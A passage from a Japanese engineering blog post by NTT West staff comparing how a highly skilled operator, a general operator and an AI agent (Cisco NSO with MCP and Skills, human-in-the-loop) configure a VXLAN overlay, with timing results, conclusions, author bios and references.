要素は、これらの余地を構造的に小さくします。 統合され、少数パラメータに抽象化された API ：パラメータや API を誤る可能性が低い 対象機器は API のパラメータから自動特定 ：AI が機器や順序を個別に指定しないため、投入ミスが起きにくい 一元化された取得 API ：取得方法がレイヤ・ベンダに依存せず、取得ミスが起きにくい つまり、「人にとって扱いやすい基盤」を突き詰めることが、「AI にとって誤りにくい基盤」に一致する ―― これが私たちの立てた仮説です。 スキルレス基盤とAIの推論エラーリスク低減 5. 比較検証 ― 属人/スキルレス/AI エージェントの 3 パターン 仮説を確かめるため、VXLAN オーバーレイ設定を題材に、3 つの運用パターンを比較しました。 パターン 運用者 設定方法 設定ボリューム 必要スキル ① 高スキル保持者 従来どおり（CLI/Web GUI） 多（100行、設定対象スイッチ4台） VXLAN/EVPN Multi-site の専門スキル ② 一般スキル運用者 スキルレス基盤（コントローラ API）を使用 少（7パラメータ、コントローラAPI のみ） コントローラ API の使い方 ③ AI エージェント スキルレス基盤（コントローラ API）を使用 少（7パラメータ、コントローラAPI のみ） 不要 結果は以下のとおりです。 パターン 事前確認 設定 事後確認 トータル 考察 ① 5分 6分 8分 19分 - 高スキル保持者は手順を熟知しており、CLI操作が高速 - 「どこを見るか」を即座に判断でき、事前確認が短い ② 7分 8分 7分 22分 - 事前確認・設定も手順書どおり実施するため、時間がかかる - スキルに依存せず、一般スキルの運用者でも実施可能という別の価値がある ③ - - - 8分 - 設定、事前・事後確認をSkillsに基づき自律的に実行 - スキルレス基盤の上で、AIが高速かつ正確に動作できた ※③は事前確認から事後確認までを連続して実行するため、工程別の時間は計測していません。8分は自然言語で指示してから事後確認が完了するまでの時間で、人による確認の時間を含みます。 検証を通じて得られた考察は次の通りです。 パターン②（一般スキル運用者） は、手順書どおりに事前確認・設定・事後確認を進めるため、時間はかかります。一方で、 高スキル保持者と同等の品質 を、スキルに依存せずに実現できるという価値があります。 パターン③（AI エージェント） は、Skills に基づいて事前確認から設定・事後確認までを自律的に実行しました。事後確認の全項目が期待どおりの結果となり、設定誤りや手戻りも無かったことから、 高スキル保持者と同等の品質を、人手より短い時間で 達成できたと判断しています。スキルレス基盤の上で、AI が高速かつ正確に動作できることを確認しました。 VXLAN オーバーレイ設定を題材にした今回の検証では、スキルレス基盤を土台とした AI エージェント化によって、品質とスピードを両立できることを確認しました ―― これが検証から得られた結論です。 6. AI エージェントデモ ― NSO × MCP × Skills 実際のデモでは、Cisco NSO をコントローラの中核に据え、AI エージェント（マルチエージェント構成）と組み合わせました。全体像は次の通りです。 コントローラ（Cisco NSO） ：前章までのスキルレス基盤（統合API・トランザクション管理・情報取得API）を提供 MCP サーバー ：AI エージェントに、NSO の各機能（設定取得・コンフィグ作成・設定・ライブステータス取得）を実行ツールとして提供する基盤 Skills ：ネットワーク設定に必要な一連の作業（事前確認 → コンフィグ作成 → バリデーション → 設定 commit → 事後確認）を、再利用可能な手順として定義 マルチエージェントAIとコントローラの連携 デモでは、「 大阪と兵庫で VXLAN オーバーレイ 」といった自然言語の指示を起点に、Supervisor が Skills の手順を読み込み、各エージェントが情報取得・コンフィグ作成・設定実行・検証を分担しながら自律的にタスクを完了します。人間はループの中で確認（Human-in-the-Loop）を担い、AI と役割を分担する運用モデルを体現しました。 7. まとめ 課題 ：分散DC運用は属人化し、少数の高スキル人材に依存。マルチレイヤ・マルチベンダ・可視化分断で運用が複雑。 仮説 ：スキルレス基盤は AI エージェントの実行基盤になる。 解決アプローチ ：マルチレイヤ制御統合API（少数パラメータで設定）、トランザクションの一括管理（自動ロールバック）、情報取得一元化API（End-to-End で状態取得）。 検証結果 ：VXLAN オーバーレイ設定において、3 パターンとも同等の品質を確認。所要時間は高スキル保持者 19 分、一般スキル運用者 22 分、AI エージェント 8 分。 結論 ：今回の VXLAN オーバーレイ設定の検証から、スキルレス基盤が、人には「一般スキル運用者でもできる運用」を、AI には「速く正確な自律運用」をもたらすことが分かった。人のための自動化は、そのまま AI エージェント運用の土台になり得る。 「人のための自動化」を突き詰めることが、そのまま「AI エージェント運用への道」を拓く ―― 私たちはこの手応えを踏まえ、取り組みを障害対応や最適化といった領域、さらには他のネットワーク技術へと広げていきたいと考えています。 執筆者 芳 政信 （NTT西日本 デジタル革新本部 技術革新部 IOWN推進室） 造園土木職人からネットワークエンジニアへ転身。企業 VPN の詳細設計、社内ネットワークの運用管理、ネットワークインストラクタなどを経て、現在は IOWN に関する基盤技術の開発、ユースケース検証の実施などに従事しています。Model Driven Programmability/Network Programmability/DevNet が得意分野です。 鈴木 佑輔 （NTT西日本 デジタル革新本部 技術革新部 R&Dセンタ ネットワークサービス担当） キャリアネットワーク内で使われるシステムの開発・構築・運用に従事するサーバー寄りのエンジニア。サーバープラットフォームや監視・制御サーバーを担当。Markdown、サーバー仮想化、自動化、ガジェットが好きです。 参考資料・出典 本記事を執筆するにあたり、以下を参考にしました。 JANOG58 セッション「人のための自動化が AI エージェント運用への道を拓く ― IOWN APN × VXLAN/EVPN をまたぐマルチレイヤ抽象化の実践」 IOWN Global Forum PoC レポート 、および 当社の関連ニュースリリース（IOWN APN を活用した分散DCユースケース実証） 商標 「Cisco」「Cisco NSO」「Nexus」は、Cisco Systems, Inc. の米国およびその他の国における商標もしくは登録商標です。 「Claude」は、Anthropic, PBC の商標もしくは登録商標です。 「IOWN®」は、NTT株式会社の商標もしくは登録商標です。 記載の会社名・製品名は、それぞれの会社の商標もしくは登録商標です。 免責事項 本記事の内容は執筆時点の情報に基づく個人の見解を含み、所属組織の公式見解を示すものではありません。基本的な免責事項は https://engineers.ntt-west.co.jp/about に記載があります。

はじめに 2026年7月15日(水)に「さくらの夕べ in 松山 with アリスタネットワークス」を開催しました。今回のイベントは同時期に愛媛県松山市で開催されたJANOG58ミーティングに併せて実施したもので、JAN […]